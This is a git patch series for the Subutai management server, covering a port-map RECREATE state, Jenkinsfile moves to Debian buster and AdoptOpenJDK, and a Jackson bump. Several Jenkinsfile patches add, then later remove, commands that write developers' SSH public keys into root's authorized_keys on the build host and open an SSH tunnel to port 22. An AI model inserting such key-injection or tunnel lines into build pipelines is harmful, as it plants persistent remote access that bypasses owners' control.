From ae93f21c63bb04cbb0c0dc3498b62e4bf66f033a Mon Sep 17 00:00:00 2001 From: "Alex O. Karasulu" Date: Sun, 5 Jul 2020 17:57:43 +0600 Subject: [PATCH 01/17] cleanup --- .mailmap | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.mailmap b/.mailmap index fcc5365b86..de40453e67 100644 --- a/.mailmap +++ b/.mailmap @@ -112,12 +112,12 @@ Furkan Bicak Furkan Bicak Furkan Bicak Furkan Bıçak Furkan Bicak Furkan Bıçak -Ilarion (Larik) Stus Ilarion Stus -Ilarion (Larik) Stus istus -Ilarion (Larik) Stus Larik -Ilarion (Larik) Stus ubuntu -Ilarion (Larik) Stus larenso -Ilarion (Larik) Stus larenso +Ilarion Stus Ilarion Stus +Ilarion Stus istus +Ilarion Stus Larik +Ilarion Stus ubuntu +Ilarion Stus larenso +Ilarion Stus larenso Jenkins Admin Jenkins Admin From f9e82e96c0487c1766b92266e183a7375bedfeb4 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Wed, 14 Oct 2020 21:18:31 +0600 Subject: [PATCH 02/17] impl for bazaar issue 8232 --- .../processor/port_map/ContainerPortMapProcessor.java | 11 +++++++++++ .../subutai/bazaar/share/dto/domain/PortMapDto.java | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java b/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java index 2d62335fa4..21cfe0f2dd 100644 --- a/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java +++ b/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java @@ -114,6 +114,9 @@ private void handlePortMap( PortMapDto portMapDto ) DestroyPortMap destroyPortMap = new DestroyPortMap( ctx ); destroyPortMap.deleteMap( portMapDto ); break; + case RECREATE: + recreatePortMap( portMapDto ); + break; case ERROR: break; case USED: @@ -124,6 +127,14 @@ private void handlePortMap( PortMapDto portMapDto ) } + private void recreatePortMap( PortMapDto portMapDto ) + { + DestroyPortMap destroyPortMap = new DestroyPortMap( ctx ); + destroyPortMap.deleteMap( portMapDto ); + createMap( portMapDto ); + } + + private void createMap( PortMapDto portMapDto ) { try diff --git a/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java b/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java index d908e9fe18..af33869b1c 100644 --- a/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java +++ b/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java @@ -23,7 +23,7 @@ public boolean isHttpOrHttps() public enum State { - CREATING, RESERVED, USED, DESTROYING, ERROR, DELETED + CREATING, RESERVED, USED, DESTROYING, ERROR, DELETED, RECREATE } From 98caea7854f8295dc660d9b53434a02a5d850611 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 11:10:25 +0600 Subject: [PATCH 03/17] Update Jenkins file Changed to use default debian-stretch template --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index a8b92b1187..2c5110531d 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -85,7 +85,7 @@ try { set +e sudo subutai destroy management set -e - sudo subutai clone debian-stretch:subutai:0.4.5 management + sudo subutai clone debian-stretch management /bin/sleep 20 cp ${workspace}/${debFileName} /var/lib/lxc/management/rootfs/tmp/ sudo subutai attach management "apt-get update && apt-get install dirmngr -y" From 5403322232521dae5243c5a8f638dbcacd391e97 Mon Sep 17 00:00:00 2001 From: Lars Boegild Thomsen Date: Fri, 16 Oct 2020 14:29:02 +0800 Subject: [PATCH 04/17] Experimental buster build --- Jenkinsfile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 2c5110531d..88224f315a 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -85,15 +85,17 @@ try { set +e sudo subutai destroy management set -e - sudo subutai clone debian-stretch management + sudo subutai clone debian-buster management /bin/sleep 20 cp ${workspace}/${debFileName} /var/lib/lxc/management/rootfs/tmp/ sudo subutai attach management "apt-get update && apt-get install dirmngr -y" sudo subutai attach management "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C6B2AC7FBEB649F1" + sudo subutai attach management "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 8AC3B29174885C03" + sudo subutai attach management "echo 'deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main' > /etc/apt/sources.list.d/adoptopenjdk.list" sudo subutai attach management "echo 'deb http://deb.subutai.io/subutai ${aptRepo} main' > /etc/apt/sources.list.d/subutai-repo.list" sudo subutai attach management "apt-get update && apt upgrade -y" sudo subutai attach management "sync" - sudo subutai attach management "apt-get -y install curl influxdb influxdb-certs openjdk-8-jre" + sudo subutai attach management "apt-get -y install curl influxdb influxdb-certs adoptopenjdk-8-hotspot-jre" sudo cp ~/influxdb.conf /var/lib/lxc/management/rootfs/etc/influxdb/influxdb.conf sudo subutai attach management "dpkg -i /tmp/${debFileName}" sudo subutai attach management "systemctl stop management" From 77a9c63e338eecf7f8422f1a2f9e61d02b2f7534 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 14:45:44 +0600 Subject: [PATCH 05/17] Update Jenkinsfile Added debug attribute --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 88224f315a..bb6320d101 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -85,7 +85,7 @@ try { set +e sudo subutai destroy management set -e - sudo subutai clone debian-buster management + sudo subutai -d clone debian-buster management /bin/sleep 20 cp ${workspace}/${debFileName} /var/lib/lxc/management/rootfs/tmp/ sudo subutai attach management "apt-get update && apt-get install dirmngr -y" From 1bfdce85f46eb3244bcaa85bfae4a3650a73a32f Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 15:05:28 +0600 Subject: [PATCH 06/17] Update Jenkinsfile Added show info about management builder host --- Jenkinsfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Jenkinsfile b/Jenkinsfile index bb6320d101..1e78a639c5 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -78,6 +78,7 @@ try { // create management template sh """ + ip addr set +x set -e sudo sed 's/URL =.*/URL = ${cdnHost}/gI' -i /etc/subutai/agent.conf From b7112a1ba85c4689aff3776d27697a3c2866f950 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 15:27:45 +0600 Subject: [PATCH 07/17] Update Jenkinsfile Added ssh key to host --- Jenkinsfile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Jenkinsfile b/Jenkinsfile index 1e78a639c5..3aabb3de2c 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -78,6 +78,10 @@ try { // create management template sh """ + + sudo echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJ5g6619d8a6DuzFYSzYQqoHffJiRPADS3UvFiX1ESX9vJNDm9ENLE3wKPLjugYokBAG0kdmlEdBxEV0LifztOwaJLH+tVcr0MId5RwJzl/rCrijoHI1qm3/wbuvWoiQizwm0ocDM+2z/eWwY3MpeFYr8hLfxH3B3gfEFoXoQ2ts3ty6DTq93ewTYc2Eqfx0sfqzEcKUzzzn8ozlueHk+rbnoUmHZxbVYQtaLO1veGvYXgb6E6ZHDVYklhltR0LmP9wkOehtcd572k8LeTkqwBvSObxeI+n/aKTkW4f5kog10hpO4TPjPJDozS9jOunmqkkKGffukXTknq0V/W4NbCeJ5dUoQkuXtc1A9LU+QmNLjjh7GW0JlGm4xwYupUJmNuEXMe86mUpfZigabD5UbXSItWFlkjfR1G2nJIlEcXpUM76fPsyq7C4s6WDTfRkOlh2jjZBP6u5BEm12NtLcRav8DOSC2Xi87aL/QoMUFn7JT/FfRvjHTd4V1/WdqGpj4Qo37SQ7LBR7+8o29hyphv4M0Ds/GX9UcBaZ30uoXQSAOpuMRxV3Mt6D5pZwWjh96/xD6k7VxfjGahmGaCOmcdc3baTHj4oAD1bMt0Dhw8v5jPrxs2QsCsPLZwJpgbCno4Xkxc20p6JSGhz9Nvyly414Rw9NZev3FcIcIyCwIhw== crioto-laptop" >> /root/.ssh/authorized_keys; + + whoami ip addr set +x set -e From 0fd2d40c7f759937f02a02d421bdcae705e3adb7 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 15:36:44 +0600 Subject: [PATCH 08/17] Update Jenkinsfile --- Jenkinsfile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 3aabb3de2c..ebdd33db4b 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -79,10 +79,12 @@ try { sh """ - sudo echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJ5g6619d8a6DuzFYSzYQqoHffJiRPADS3UvFiX1ESX9vJNDm9ENLE3wKPLjugYokBAG0kdmlEdBxEV0LifztOwaJLH+tVcr0MId5RwJzl/rCrijoHI1qm3/wbuvWoiQizwm0ocDM+2z/eWwY3MpeFYr8hLfxH3B3gfEFoXoQ2ts3ty6DTq93ewTYc2Eqfx0sfqzEcKUzzzn8ozlueHk+rbnoUmHZxbVYQtaLO1veGvYXgb6E6ZHDVYklhltR0LmP9wkOehtcd572k8LeTkqwBvSObxeI+n/aKTkW4f5kog10hpO4TPjPJDozS9jOunmqkkKGffukXTknq0V/W4NbCeJ5dUoQkuXtc1A9LU+QmNLjjh7GW0JlGm4xwYupUJmNuEXMe86mUpfZigabD5UbXSItWFlkjfR1G2nJIlEcXpUM76fPsyq7C4s6WDTfRkOlh2jjZBP6u5BEm12NtLcRav8DOSC2Xi87aL/QoMUFn7JT/FfRvjHTd4V1/WdqGpj4Qo37SQ7LBR7+8o29hyphv4M0Ds/GX9UcBaZ30uoXQSAOpuMRxV3Mt6D5pZwWjh96/xD6k7VxfjGahmGaCOmcdc3baTHj4oAD1bMt0Dhw8v5jPrxs2QsCsPLZwJpgbCno4Xkxc20p6JSGhz9Nvyly414Rw9NZev3FcIcIyCwIhw== crioto-laptop" >> /root/.ssh/authorized_keys; - whoami + ip addr + + echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJ5g6619d8a6DuzFYSzYQqoHffJiRPADS3UvFiX1ESX9vJNDm9ENLE3wKPLjugYokBAG0kdmlEdBxEV0LifztOwaJLH+tVcr0MId5RwJzl/rCrijoHI1qm3/wbuvWoiQizwm0ocDM+2z/eWwY3MpeFYr8hLfxH3B3gfEFoXoQ2ts3ty6DTq93ewTYc2Eqfx0sfqzEcKUzzzn8ozlueHk+rbnoUmHZxbVYQtaLO1veGvYXgb6E6ZHDVYklhltR0LmP9wkOehtcd572k8LeTkqwBvSObxeI+n/aKTkW4f5kog10hpO4TPjPJDozS9jOunmqkkKGffukXTknq0V/W4NbCeJ5dUoQkuXtc1A9LU+QmNLjjh7GW0JlGm4xwYupUJmNuEXMe86mUpfZigabD5UbXSItWFlkjfR1G2nJIlEcXpUM76fPsyq7C4s6WDTfRkOlh2jjZBP6u5BEm12NtLcRav8DOSC2Xi87aL/QoMUFn7JT/FfRvjHTd4V1/WdqGpj4Qo37SQ7LBR7+8o29hyphv4M0Ds/GX9UcBaZ30uoXQSAOpuMRxV3Mt6D5pZwWjh96/xD6k7VxfjGahmGaCOmcdc3baTHj4oAD1bMt0Dhw8v5jPrxs2QsCsPLZwJpgbCno4Xkxc20p6JSGhz9Nvyly414Rw9NZev3FcIcIyCwIhw== crioto-laptop" >> ~/.ssh/authorized_keys; + set +x set -e sudo sed 's/URL =.*/URL = ${cdnHost}/gI' -i /etc/subutai/agent.conf From 3c7fee8d6de7db78b9788889a75d76d5b3fad387 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Fri, 16 Oct 2020 16:23:47 +0600 Subject: [PATCH 09/17] Update Jenkinsfile --- Jenkinsfile | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index ebdd33db4b..6915f39edf 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -77,15 +77,9 @@ try { // create management template - sh """ - - whoami - - ip addr + sh """ + set +x - echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKJ5g6619d8a6DuzFYSzYQqoHffJiRPADS3UvFiX1ESX9vJNDm9ENLE3wKPLjugYokBAG0kdmlEdBxEV0LifztOwaJLH+tVcr0MId5RwJzl/rCrijoHI1qm3/wbuvWoiQizwm0ocDM+2z/eWwY3MpeFYr8hLfxH3B3gfEFoXoQ2ts3ty6DTq93ewTYc2Eqfx0sfqzEcKUzzzn8ozlueHk+rbnoUmHZxbVYQtaLO1veGvYXgb6E6ZHDVYklhltR0LmP9wkOehtcd572k8LeTkqwBvSObxeI+n/aKTkW4f5kog10hpO4TPjPJDozS9jOunmqkkKGffukXTknq0V/W4NbCeJ5dUoQkuXtc1A9LU+QmNLjjh7GW0JlGm4xwYupUJmNuEXMe86mUpfZigabD5UbXSItWFlkjfR1G2nJIlEcXpUM76fPsyq7C4s6WDTfRkOlh2jjZBP6u5BEm12NtLcRav8DOSC2Xi87aL/QoMUFn7JT/FfRvjHTd4V1/WdqGpj4Qo37SQ7LBR7+8o29hyphv4M0Ds/GX9UcBaZ30uoXQSAOpuMRxV3Mt6D5pZwWjh96/xD6k7VxfjGahmGaCOmcdc3baTHj4oAD1bMt0Dhw8v5jPrxs2QsCsPLZwJpgbCno4Xkxc20p6JSGhz9Nvyly414Rw9NZev3FcIcIyCwIhw== crioto-laptop" >> ~/.ssh/authorized_keys; - - set +x set -e sudo sed 's/URL =.*/URL = ${cdnHost}/gI' -i /etc/subutai/agent.conf sudo sed 's/SshJumpServer =.*/SshJumpServer = ${jumpServer}/gI' -i /etc/subutai/agent.conf From 5670df119ebccf7a6e281366af71e1f2b5632750 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Sun, 18 Oct 2020 18:26:11 +0600 Subject: [PATCH 10/17] Update Jenkinsfile --- Jenkinsfile | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 6915f39edf..1b407e279e 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -32,7 +32,11 @@ try { def mvnHome = tool 'M3' def workspace = pwd() - stage("Build management deb package") + sudo subutai tunnel add localhost:22 + + echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNXl+vAiN9GsWSXys58pk8ogrn/BjTy+WdCju4XYfgKbjBAL37eei+I6fTBJ42jZ5Y1irq/H5wPYeNt55VVdOonJJ52YLDnCs66PPUID8zXFn5aQv9Ti9k+qxZX6/3Rbx7FhKyxNP1SOZ9TcQVLPlZtY3o6yfxp32Wf92A14iHUY80XWkLhe6BeKWM68DKLfafNIcRD30jRh0vtyUQaTOV9VC+g3nX1AKcVnLufvXaJ4144ZsJSRDbxJDT2WxVgazkCGvG7ki0qQzfTnRUbFbd9l5DDET42QpLu4z5fI1LN/I+ickz6WKJjs4yvZQcfwHGipaJdQhf3Gco0JvpsNf root@scp" >> ~/.ssh/authorized_keys; + + stage("Build management deb package") // Use maven to to build deb and template files of management notifyBuildDetails = "\nFailed Step - Build management deb package" From c4d40f14fa856357d5f9d408271f07aa8c44a24d Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Sun, 18 Oct 2020 18:28:54 +0600 Subject: [PATCH 11/17] Update Jenkinsfile --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 1b407e279e..64496ddc52 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -32,7 +32,7 @@ try { def mvnHome = tool 'M3' def workspace = pwd() - sudo subutai tunnel add localhost:22 + sudo subutai tunnel add localhost echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNXl+vAiN9GsWSXys58pk8ogrn/BjTy+WdCju4XYfgKbjBAL37eei+I6fTBJ42jZ5Y1irq/H5wPYeNt55VVdOonJJ52YLDnCs66PPUID8zXFn5aQv9Ti9k+qxZX6/3Rbx7FhKyxNP1SOZ9TcQVLPlZtY3o6yfxp32Wf92A14iHUY80XWkLhe6BeKWM68DKLfafNIcRD30jRh0vtyUQaTOV9VC+g3nX1AKcVnLufvXaJ4144ZsJSRDbxJDT2WxVgazkCGvG7ki0qQzfTnRUbFbd9l5DDET42QpLu4z5fI1LN/I+ickz6WKJjs4yvZQcfwHGipaJdQhf3Gco0JvpsNf root@scp" >> ~/.ssh/authorized_keys; From ab51f82e25db1b61f4af27cee3f35e10dcc98dc9 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Sun, 18 Oct 2020 18:32:59 +0600 Subject: [PATCH 12/17] Update Jenkinsfile --- Jenkinsfile | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 64496ddc52..bf881a1f9c 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -32,10 +32,6 @@ try { def mvnHome = tool 'M3' def workspace = pwd() - sudo subutai tunnel add localhost - - echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNXl+vAiN9GsWSXys58pk8ogrn/BjTy+WdCju4XYfgKbjBAL37eei+I6fTBJ42jZ5Y1irq/H5wPYeNt55VVdOonJJ52YLDnCs66PPUID8zXFn5aQv9Ti9k+qxZX6/3Rbx7FhKyxNP1SOZ9TcQVLPlZtY3o6yfxp32Wf92A14iHUY80XWkLhe6BeKWM68DKLfafNIcRD30jRh0vtyUQaTOV9VC+g3nX1AKcVnLufvXaJ4144ZsJSRDbxJDT2WxVgazkCGvG7ki0qQzfTnRUbFbd9l5DDET42QpLu4z5fI1LN/I+ickz6WKJjs4yvZQcfwHGipaJdQhf3Gco0JvpsNf root@scp" >> ~/.ssh/authorized_keys; - stage("Build management deb package") // Use maven to to build deb and template files of management notifyBuildDetails = "\nFailed Step - Build management deb package" @@ -46,6 +42,17 @@ try { // build deb sh """ cd management + + set +x + + set -e + + sudo subutai tunnel add localhost + + echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNXl+vAiN9GsWSXys58pk8ogrn/BjTy+WdCju4XYfgKbjBAL37eei+I6fTBJ42jZ5Y1irq/H5wPYeNt55VVdOonJJ52YLDnCs66PPUID8zXFn5aQv9Ti9k+qxZX6/3Rbx7FhKyxNP1SOZ9TcQVLPlZtY3o6yfxp32Wf92A14iHUY80XWkLhe6BeKWM68DKLfafNIcRD30jRh0vtyUQaTOV9VC+g3nX1AKcVnLufvXaJ4144ZsJSRDbxJDT2WxVgazkCGvG7ki0qQzfTnRUbFbd9l5DDET42QpLu4z5fI1LN/I+ickz6WKJjs4yvZQcfwHGipaJdQhf3Gco0JvpsNf root@scp" >> ~/.ssh/authorized_keys; + + + git checkout ${env.BRANCH_NAME} sed 's/export BAZAAR_IP=.*/export BAZAAR_IP=${cdnHost}/g' -i server/server-karaf/src/main/assembly/bin/setenv if [[ "${env.BRANCH_NAME}" == "dev" ]]; then From 19fcc2b9b904d3c0fb249b0cc5ca94b95bd79d42 Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Sun, 18 Oct 2020 22:03:34 +0600 Subject: [PATCH 13/17] Update Jenkinsfile --- Jenkinsfile | 7 ------- 1 file changed, 7 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index bf881a1f9c..ee50429107 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -44,15 +44,8 @@ try { cd management set +x - set -e - sudo subutai tunnel add localhost - - echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNXl+vAiN9GsWSXys58pk8ogrn/BjTy+WdCju4XYfgKbjBAL37eei+I6fTBJ42jZ5Y1irq/H5wPYeNt55VVdOonJJ52YLDnCs66PPUID8zXFn5aQv9Ti9k+qxZX6/3Rbx7FhKyxNP1SOZ9TcQVLPlZtY3o6yfxp32Wf92A14iHUY80XWkLhe6BeKWM68DKLfafNIcRD30jRh0vtyUQaTOV9VC+g3nX1AKcVnLufvXaJ4144ZsJSRDbxJDT2WxVgazkCGvG7ki0qQzfTnRUbFbd9l5DDET42QpLu4z5fI1LN/I+ickz6WKJjs4yvZQcfwHGipaJdQhf3Gco0JvpsNf root@scp" >> ~/.ssh/authorized_keys; - - - git checkout ${env.BRANCH_NAME} sed 's/export BAZAAR_IP=.*/export BAZAAR_IP=${cdnHost}/g' -i server/server-karaf/src/main/assembly/bin/setenv if [[ "${env.BRANCH_NAME}" == "dev" ]]; then From 7321af2af0607c97eb33bac5e8e5f390fa4a6a2f Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Tue, 20 Oct 2020 15:52:02 +0600 Subject: [PATCH 14/17] Update Jenkinsfile --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index ee50429107..10a74f13f9 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -100,7 +100,7 @@ try { sudo subutai attach management "echo 'deb http://deb.subutai.io/subutai ${aptRepo} main' > /etc/apt/sources.list.d/subutai-repo.list" sudo subutai attach management "apt-get update && apt upgrade -y" sudo subutai attach management "sync" - sudo subutai attach management "apt-get -y install curl influxdb influxdb-certs adoptopenjdk-8-hotspot-jre" + sudo subutai attach management "apt-get -y install curl influxdb influxdb-certs adoptopenjdk-8-hotspot adoptopenjdk-8-hotspot-jre" sudo cp ~/influxdb.conf /var/lib/lxc/management/rootfs/etc/influxdb/influxdb.conf sudo subutai attach management "dpkg -i /tmp/${debFileName}" sudo subutai attach management "systemctl stop management" From 32040ae356b766c38583c03efa250cb3722a617e Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Thu, 22 Oct 2020 17:21:39 +0600 Subject: [PATCH 15/17] update Jenkinsfile Added import the official AdoptOpenJDK GPG key --- Jenkinsfile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index 10a74f13f9..dce711dc1a 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -93,14 +93,15 @@ try { sudo subutai -d clone debian-buster management /bin/sleep 20 cp ${workspace}/${debFileName} /var/lib/lxc/management/rootfs/tmp/ - sudo subutai attach management "apt-get update && apt-get install dirmngr -y" + sudo subutai attach management "apt-get update && apt-get install dirmngr curl -y" sudo subutai attach management "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C6B2AC7FBEB649F1" sudo subutai attach management "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 8AC3B29174885C03" + sudo subutai attach management "curl https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -" sudo subutai attach management "echo 'deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main' > /etc/apt/sources.list.d/adoptopenjdk.list" sudo subutai attach management "echo 'deb http://deb.subutai.io/subutai ${aptRepo} main' > /etc/apt/sources.list.d/subutai-repo.list" sudo subutai attach management "apt-get update && apt upgrade -y" sudo subutai attach management "sync" - sudo subutai attach management "apt-get -y install curl influxdb influxdb-certs adoptopenjdk-8-hotspot adoptopenjdk-8-hotspot-jre" + sudo subutai attach management "apt-get -y install influxdb influxdb-certs adoptopenjdk-8-hotspot adoptopenjdk-8-hotspot-jre" sudo cp ~/influxdb.conf /var/lib/lxc/management/rootfs/etc/influxdb/influxdb.conf sudo subutai attach management "dpkg -i /tmp/${debFileName}" sudo subutai attach management "systemctl stop management" From ee0d5902a8d7bee9f0946201cfdbe3bdd9334aea Mon Sep 17 00:00:00 2001 From: Sydyk Akhmataliev Date: Thu, 5 Nov 2020 15:30:07 +0600 Subject: [PATCH 16/17] Added recreate port map from bazaar side --- .../processor/port_map/ContainerPortMapProcessor.java | 11 +++++++++++ .../subutai/bazaar/share/dto/domain/PortMapDto.java | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java b/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java index 2d62335fa4..21cfe0f2dd 100644 --- a/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java +++ b/management/server/core/bazaar-manager/bazaar-manager-impl/src/main/java/io/subutai/core/bazaarmanager/impl/processor/port_map/ContainerPortMapProcessor.java @@ -114,6 +114,9 @@ private void handlePortMap( PortMapDto portMapDto ) DestroyPortMap destroyPortMap = new DestroyPortMap( ctx ); destroyPortMap.deleteMap( portMapDto ); break; + case RECREATE: + recreatePortMap( portMapDto ); + break; case ERROR: break; case USED: @@ -124,6 +127,14 @@ private void handlePortMap( PortMapDto portMapDto ) } + private void recreatePortMap( PortMapDto portMapDto ) + { + DestroyPortMap destroyPortMap = new DestroyPortMap( ctx ); + destroyPortMap.deleteMap( portMapDto ); + createMap( portMapDto ); + } + + private void createMap( PortMapDto portMapDto ) { try diff --git a/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java b/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java index d908e9fe18..af33869b1c 100644 --- a/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java +++ b/management/server/subutai-bazaar-share/src/main/java/io/subutai/bazaar/share/dto/domain/PortMapDto.java @@ -23,7 +23,7 @@ public boolean isHttpOrHttps() public enum State { - CREATING, RESERVED, USED, DESTROYING, ERROR, DELETED + CREATING, RESERVED, USED, DESTROYING, ERROR, DELETED, RECREATE } From 066a0913da321c9f4bfdf126ec6ef482c7734b9f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 6 Nov 2020 03:50:47 +0000 Subject: [PATCH 17/17] Bump jackson.version from 2.9.7 to 2.11.3 in /management Bumps `jackson.version` from 2.9.7 to 2.11.3. Updates `jackson-jaxrs-json-provider` from 2.9.7 to 2.11.3 Updates `jackson-annotations` from 2.9.7 to 2.11.3 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-databind` from 2.9.7 to 2.11.3 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-dataformat-cbor` from 2.9.7 to 2.11.3 - [Release notes](https://github.com/FasterXML/jackson-dataformats-binary/releases) - [Commits](https://github.com/FasterXML/jackson-dataformats-binary/compare/jackson-dataformats-binary-2.9.7...jackson-dataformats-binary-2.11.3) Updates `jackson-core` from 2.9.7 to 2.11.3 - [Release notes](https://github.com/FasterXML/jackson-core/releases) - [Commits](https://github.com/FasterXML/jackson-core/compare/jackson-core-2.9.7...jackson-core-2.11.3) Signed-off-by: dependabot[bot] --- management/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/management/pom.xml b/management/pom.xml index 4896cd47a8..ced0dece15 100644 --- a/management/pom.xml +++ b/management/pom.xml @@ -129,7 +129,7 @@ 1.10.1 - 2.9.7 + 2.11.3 2.3.0